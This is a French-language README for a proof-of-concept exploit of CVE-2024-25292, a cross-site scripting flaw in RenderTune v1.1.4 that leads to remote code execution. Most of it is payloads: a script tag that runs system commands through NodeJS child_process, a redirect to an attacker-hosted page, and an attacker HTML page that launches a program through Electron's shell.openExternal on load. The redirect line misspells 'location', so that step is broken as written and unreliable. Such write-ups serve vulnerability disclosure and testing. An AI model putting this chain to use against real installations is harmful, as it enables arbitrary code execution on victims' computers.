
XSS to RCE in RenderTune v1.1.4 exploit
Une preuve de concept pour la vulnérabilité CVE-2024-25292.
Une vulnérabilité de type cross-site scripting (XSS) dans RenderTune v1.1.4 permet à des attaquants d'exécuter des scripts web ou du HTML arbitraires via une charge utile injectée dans le paramètre Upload Title.
Dans ce dépôt se trouvent un exemple d'application vulnérable et une preuve de concept (POC) de l'exploitation.
Il s'agit d'une vulnérabilité qui permet une exécution de code à distance (RCE) via XSS. Il existe une partie du titre capable de XSS, donc c'est une vulnérabilité qui permet une RCE via la syntaxe NodeJS à travers la syntaxe XSS.
Étape 1) Confirmer que le XSS se produit dans la partie titre ※ À ce stade, l'élément Upload ne sera pas enregistré sauf si une image est jointe
<b>jruru</b>

Étape 2) Par conséquent, il est configuré pour utiliser le XSS afin d'exécuter des commandes système NodeJS.
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

※ Lorsque vous tentez une attaque avec window.location, vous accédez automatiquement à la page définie à chaque exécution de l'application.
<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>
Remarque : ※ Si vous souhaitez tester rapidement, créez un serveur sur le PC de l'attaquant avec le code suivant.
$ python -m http.server 80
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<!-- Exécuter des scripts en utilisant les propriétés onclick directement sur la balise -->
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
// Définition de la fonction script
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// Exécuter le script automatiquement lors du chargement de la page
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
